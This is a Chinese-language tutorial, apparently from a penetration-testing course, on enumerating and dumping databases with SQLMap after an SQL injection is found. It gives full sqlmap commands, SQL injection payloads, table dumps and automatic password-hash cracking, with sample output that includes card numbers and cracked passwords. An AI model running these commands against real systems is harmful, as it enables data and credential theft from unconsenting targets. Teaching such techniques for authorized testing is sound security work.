5、数据库枚举
枚举是 SQL 注入攻击的核心部分,它是在成功检测并确认目标 SQLi 漏洞的可利用性之后立即执行的。它包括从易受攻击的数据库中查找和检索(即渗漏)所有可用信息。
SQLMap Data Exfiltration
为此,SQLMap 为所有受支持的 DBMS 提供了一组预定义的查询,其中每个条目代表必须在目标上运行以检索所需内容的 SQL。例如, MySQL DBMS 的queries.xml的摘录如下所示:
<?xml version="1.0" encoding="UTF-8"?>
<root>
<dbms value="MySQL">
<!-- http://dba.fyicenter.com/faq/mysql/Difference-between-CHAR-and-NCHAR.html -->
<cast query="CAST(%s AS NCHAR)"/>
<length query="CHAR_LENGTH(%s)"/>
<isnull query="IFNULL(%s,' ')"/>
...SNIP...
<banner query="VERSION()"/>
<current_user query="CURRENT_USER()"/>
<current_db query="DATABASE()"/>
<hostname query="@@HOSTNAME"/>
<table_comment query="SELECT table_comment FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' AND table_name='%s'"/>
<column_comment query="SELECT column_comment FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' AND table_name='%s' AND column_name='%s'"/>
<is_dba query="(SELECT super_priv FROM mysql.user WHERE user='%s' LIMIT 0,1)='Y'"/>
<check_udf query="(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0,1)='%s'"/>
<users>
<inband query="SELECT grantee FROM INFORMATION_SCHEMA.USER_PRIVILEGES" query2="SELECT user FROM mysql.user" query3="SELECT username FROM DATA_DICTIONARY.CUMULATIVE_USER_STATS"/>
<blind query="SELECT DISTINCT(grantee) FROM INFORMATION_SCHEMA.USER_PRIVILEGES LIMIT %d,1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d,1" query3="SELECT DISTINCT(username) FROM DATA_DICTIONARY.CUMULATIVE_USER_STATS LIMIT %d,1" count="SELECT COUNT(DISTINCT(grantee)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user" count3="SELECT COUNT(DISTINCT(username)) FROM DATA_DICTIONARY.CUMULATIVE_USER_STATS"/>
</users>
...SNIP...
例如,如果用户想要检索基于 MySQL DBMS 的目标的“banner”(switch --banner
),则 VERSION()
查询将用于此目的。
如果检索当前用户名(switch --current-user
),将使用 CURRENT_USER()
查询。
另一个示例是检索所有用户名(即标记 <users>
)。根据情况,使用了两个查询。标记为 inband
的查询用于所有非盲注情况(即 UNION 查询和基于错误的 SQLi),其中查询结果可以在响应本身中预期。另一方面,标记为 blind
的查询用于所有盲注情况,其中必须逐行、逐列和逐位检索数据。
基本数据库数据枚举
通常,在成功检测到 SQLi 漏洞后,我们可以开始从数据库中枚举基本细节,例如易受攻击目标的主机名 (--hostname
)、当前用户名 (--current-user
)、当前数据库名称 (--current-db
),或密码哈希 (--passwords
)。 SQLMap如果早先被识别出来,就会跳过SQLi的检测,直接开始DBMS的枚举过程。
枚举通常从检索基本信息开始:
- 数据库版本横幅(switch --banner
)
- Current user name (switch --current-user
)
- Current database name (switch --current-db
)
- 检查当前用户是否具有 DBA(管理员)权限。
以下 SQLMap 命令执行以上所有操作:
$ sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba
___
__H__
___ ___[']_____ ___ ___ {1.4.9}
|_ -| . ['] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[*] starting @ 13:30:57 /2020-09-17/
[13:30:57] [INFO] resuming back-end DBMS 'mysql'
[13:30:57] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 5134=5134
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1 AND (SELECT 5907 FROM(SELECT COUNT(*),CONCAT(0x7170766b71,(SELECT (ELT(5907=5907,1))),0x7178707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x7170766b71,0x7a76726a6442576667644e6b476e577665615168564b7a696a6d4646475159716f784f5647535654,0x7178707671)-- -
---
[13:30:57] [INFO] the back-end DBMS is MySQL
[13:30:57] [INFO] fetching banner
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0
banner: '5.1.41-3~bpo50+1'
[13:30:58] [INFO] fetching current user
current user: 'root@%'
[13:30:58] [INFO] fetching current database
current database: 'testdb'
[13:30:58] [INFO] testing if current user is DBA
[13:30:58] [INFO] fetching current user
current user is DBA: True
[13:30:58] [INFO] fetched data logged to text files under '/home/user/.local/share/sqlmap/output/www.example.com'
[*] ending @ 13:30:58 /2020-09-17/
从上面的例子可以看出,数据库版本比较旧(MySQL 5.1.41 - 2009年11月),当前用户名为root
,当前数据库名为 testdb
。
注意:在绝大多数情况下,数据库上下文中的“root”用户与操作系统用户“root”没有任何关系,除了代表 DBMS 上下文中的特权用户。这基本上意味着数据库用户不应该在数据库上下文中有任何限制,而操作系统权限(例如文件系统写入任意位置)应该是最小的,至少在最近的部署中是这样。同样的原则适用于通用的“DBA”角色。
表枚举
在大多数情况下,在找到当前数据库名称(即 testdb
)后,将通过使用 --tables
选项并使用 -D testdb
指定数据库名称来检索表名,如下所示:
$ sqlmap -u "http://www.example.com/?id=1" --tables -D testdb
...SNIP...
[13:59:24] [INFO] fetching tables for database: 'testdb'
Database: testdb
[4 tables]
+---------------+
| member |
| data |
| international |
| users |
+---------------+
发现感兴趣的表名后,可以通过使用 --dump
选项并使用 -T user
指定表名来检索其内容,如下所示:
$ sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb
...SNIP...
Database: testdb
Table: users
[4 entries]
+----+--------+------------+
| id | name | surname |
+----+--------+------------+
| 1 | luther | blisset |
| 2 | fluffy | bunny |
| 3 | wu | ming |
| 4 | NULL | nameisnull |
+----+--------+------------+
[14:07:18] [INFO] table 'testdb.users' dumped to CSV file '/home/user/.local/share/sqlmap/output/www.example.com/dump/testdb/users.csv'
控制台输出显示该表以格式化的 CSV 格式转储到本地文件 users.csv
。
提示:除了默认的 CSV 之外,我们可以使用选项
--dump-format
将输出格式指定为 HTML 或 SQLite,以便我们稍后可以在 SQLite 环境中进一步调查数据库。
表/行枚举
在处理具有许多列 和/或 行的大型表时,我们可以使用 -C
选项指定列(例如,仅 name
和 surname
列),如下所示:
$ sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname
...SNIP...
Database: testdb
Table: users
[4 entries]
+--------+------------+
| name | surname |
+--------+------------+
| luther | blisset |
| fluffy | bunny |
| wu | ming |
| NULL | nameisnull |
+--------+------------+
要根据表内的序号缩小行的范围,我们可以使用 --start
和 --stop
选项指定行(例如,从第 2 个条目开始到第 3 个条目),如下所示:
$ sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --start=2 --stop=3
...SNIP...
Database: testdb
Table: users
[2 entries]
+----+--------+---------+
| id | name | surname |
+----+--------+---------+
| 2 | fluffy | bunny |
| 3 | wu | ming |
+----+--------+---------+
条件(Conditional)枚举
如果需要根据已知的 WHERE
条件(例如 name LIKE 'f%'
)检索某些行,我们可以使用选项 --where
,如下所示:
$ sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'"
...SNIP...
Database: testdb
Table: users
[1 entry]
+----+--------+---------+
| id | name | surname |
+----+--------+---------+
| 2 | fluffy | bunny |
+----+--------+---------+
完整的数据库枚举
我们可以通过完全跳过选项 -T
的使用(例如 --dump -D testdb
)来检索感兴趣的数据库中的所有表,而不是按单个表检索内容。通过简单地使用switch(开关) --dump
而无需使用 -T
指定表,将检索所有当前数据库内容。至于 --dump-all
开关,将检索所有数据库中的所有内容。
在这种情况下,还建议用户包含开关 --exclude-sysdbs
(例如 --dump-all --exclude-sysdbs
),这将指示 SQLMap 跳过从系统数据库检索内容,因为它通常是渗透测试者兴趣不大。
Advanced Database Enumeration
现在我们已经介绍了使用 SQLMap 进行数据库枚举的基础知识,我们将在本节中介绍更高级的技术来枚举感兴趣的数据。
DB Schema Enumeration
如果我们想要检索所有表的结构以便我们可以全面了解数据库体系结构,我们可以使用开关 --schema
:
$ sqlmap -u "http://www.example.com/?id=1" --schema
...SNIP...
Database: master
Table: log
[3 columns]
+--------+--------------+
| Column | Type |
+--------+--------------+
| date | datetime |
| agent | varchar(512) |
| id | int(11) |
+--------+--------------+
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column | Type |
+-------------+---------+
| cid | int(11) |
| mysignature | text |
| password | text |
| username | text |
+-------------+---------+
...
Database: testdb
Table: data
[2 columns]
+---------+---------+
| Column | Type |
+---------+---------+
| content | blob |
| id | int(11) |
+---------+---------+
Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column | Type |
+---------+---------------+
| id | int(11) |
| name | varchar(500) |
| surname | varchar(1000) |
+---------+---------------+
搜索数据
在处理具有大量表和列的复杂数据库结构时,我们可以使用 --search
选项搜索感兴趣的数据库、表和列。此选项使我们能够使用 LIKE
运算符搜索标识符名称。例如,如果我们要查找所有包含关键字 user
的表名,我们可以按如下方式运行 SQLMap:
$ sqlmap -u "http://www.example.com/?id=1" --search -T user
...SNIP...
[14:24:19] [INFO] searching tables LIKE 'user'
Database: testdb
[1 table]
+-----------------+
| users |
+-----------------+
Database: master
[1 table]
+-----------------+
| users |
+-----------------+
Database: information_schema
[1 table]
+-----------------+
| USER_PRIVILEGES |
+-----------------+
Database: mysql
[1 table]
+-----------------+
| user |
+-----------------+
do you want to dump found table(s) entries? [Y/n]
...SNIP...
在上面的示例中,我们可以根据这些搜索结果立即发现几个有趣的数据检索目标。我们也可以尝试根据特定关键字(例如 pass
)搜索所有列名:
$ sqlmap -u "http://www.example.com/?id=1" --search -C pass
...SNIP...
columns LIKE 'pass' were found in the following databases:
Database: owasp10
Table: accounts
[1 column]
+----------+------+
| Column | Type |
+----------+------+
| password | text |
+----------+------+
Database: master
Table: users
[1 column]
+----------+--------------+
| Column | Type |
+----------+--------------+
| password | varchar(512) |
+----------+--------------+
Database: mysql
Table: user
[1 column]
+----------+----------+
| Column | Type |
+----------+----------+
| Password | char(41) |
+----------+----------+
Database: mysql
Table: servers
[1 column]
+----------+----------+
| Column | Type |
+----------+----------+
| Password | char(64) |
+----------+----------+
密码枚举与破解
一旦我们识别出包含密码的表(例如 master.users
),我们就可以使用 -T
选项检索该表,如前所示:
$ sqlmap -u "http://www.example.com/?id=1" --dump -D master -T users
...SNIP...
[14:31:41] [INFO] fetching columns for table 'users' in database 'master'
[14:31:41] [INFO] fetching entries for table 'users' in database 'master'
[14:31:41] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[14:31:41] [INFO] using hash method 'sha1_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/local/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[14:31:41] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[14:31:41] [INFO] starting dictionary-based cracking (sha1_generic_passwd)
[14:31:41] [INFO] starting 8 processes
[14:31:41] [INFO] cracked password '05adrian' for hash '70f361f8a1c9035a1d972a209ec5e8b726d1055e'
[14:31:41] [INFO] cracked password '1201Hunt' for hash 'df692aa944eb45737f0b3b3ef906f8372a3834e9'
...SNIP...
[14:31:47] [INFO] cracked password 'Zc1uowqg6' for hash '0ff476c2676a2e5f172fe568110552f2e910c917'
Database: master
Table: users
[32 entries]
+----+------------------+-------------------+-----------------------------+--------------+------------------------+-------------------+-------------------------------------------------------------+---------------------------------------------------+
| id | cc | name | email | phone | address | birthday | password | occupation |
+----+------------------+-------------------+-----------------------------+--------------+------------------------+-------------------+-------------------------------------------------------------+---------------------------------------------------+
| 1 | 5387278172507117 | Maynard Rice | MaynardMRice@yahoo.com | 281-559-0172 | 1698 Bird Spring Lane | March 1 1958 | 9a0f092c8d52eaf3ea423cef8485702ba2b3deb9 (3052) | Linemen |
| 2 | 4539475107874477 | Julio Thomas | JulioWThomas@gmail.com | 973-426-5961 | 1207 Granville Lane | February 14 1972 | 10945aa229a6d569f226976b22ea0e900a1fc219 (taqris) | Agricultural product sorter |
| 3 | 4716522746974567 | Kenneth Maloney | KennethTMaloney@gmail.com | 954-617-0424 | 2811 Kenwood Place | May 14 1989 | a5e68cd37ce8ec021d5ccb9392f4980b3c8b3295 (hibiskus) | General and operations manager |
| 4 | 4929811432072262 | Gregory Stumbaugh | GregoryBStumbaugh@yahoo.com | 410-680-5653 | 1641 Marshall Street | May 7 1936 | b7fbde78b81f7ad0b8ce0cc16b47072a6ea5f08e (spiderpig8574376) | Foreign language interpreter |
| 5 | 4539646911423277 | Bobby Granger | BobbyJGranger@gmail.com | 212-696-1812 | 4510 Shinn Street | December 22 1939 | aed6d83bab8d9234a97f18432cd9a85341527297 (1955chev) | Medical records and health information technician |
| 6 | 5143241665092174 | Kimberly Wright | KimberlyMWright@gmail.com | 440-232-3739 | 3136 Ralph Drive | June 18 1972 | d642ff0feca378666a8727947482f1a4702deba0 (Enizoom1609) | Electrologist |
| 7 | 5503989023993848 | Dean Harper | DeanLHarper@yahoo.com | 440-847-8376 | 3766 Flynn Street | February 3 1974 | 2b89b43b038182f67a8b960611d73e839002fbd9 (raided) | Store detective |
| 8 | 4556586478396094 | Gabriela Waite | GabrielaRWaite@msn.com | 732-638-1529 | 2459 Webster Street | December 24 1965 | f5eb0fbdd88524f45c7c67d240a191163a27184b (ssival47) | Telephone station installer |
在前面的例子中我们可以看到,SQLMap具有自动密码哈希破解的能力。在检索到类似于已知哈希格式的任何值时,SQLMap 会提示我们对找到的哈希执行基于字典的攻击。
哈希破解攻击是根据用户计算机上可用的内核数量,以多处理方式执行的。目前,实现了对破解 31 种不同类型的哈希算法的支持,其中包含一个包含 140 万个条目的字典(多年来编译,最常见的条目出现在公开可用的密码泄漏中)。因此,如果密码哈希不是随机选择的,SQLMap 很有可能会自动破解它。
数据库用户密码枚举与破解
除了在数据库表中找到的用户凭据外,我们还可以尝试转储包含特定于数据库的凭据(例如,连接凭据)的系统表的内容。为了简化整个过程,SQLMap 有一个特殊的开关 --passwords
专门为这样的任务设计:
$ sqlmap -u "http://www.example.com/?id=1" --passwords --batch
...SNIP...
[14:25:20] [INFO] fetching database users password hashes
[14:25:20] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
[14:25:20] [INFO] retrieved: 'root'
[14:25:20] [INFO] retrieved: 'root'
[14:25:20] [INFO] retrieved: 'root'
[14:25:20] [INFO] retrieved: 'debian-sys-maint'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] Y
[14:25:20] [INFO] using hash method 'mysql_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/local/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[14:25:20] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[14:25:20] [INFO] starting dictionary-based cracking (mysql_passwd)
[14:25:20] [INFO] starting 8 processes
[14:25:26] [INFO] cracked password 'testpass' for user 'root'
database management system users password hashes:
[*] debian-sys-maint [1]:
password hash: *6B2C58EABD91C1776DA223B088B601604F898847
[*] root [1]:
password hash: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
clear-text password: testpass
[14:25:28] [INFO] fetched data logged to text files under '/home/user/.local/share/sqlmap/output/www.example.com'
[*] ending @ 14:25:28 /2020-09-18/
提示:“--all”开关与“--batch”开关结合使用,将自动对目标本身执行整个枚举过程,并提供整个枚举详细信息。
这基本上意味着将检索所有可访问的内容,并可能运行很长时间。我们需要手动在输出文件中找到感兴趣的数据。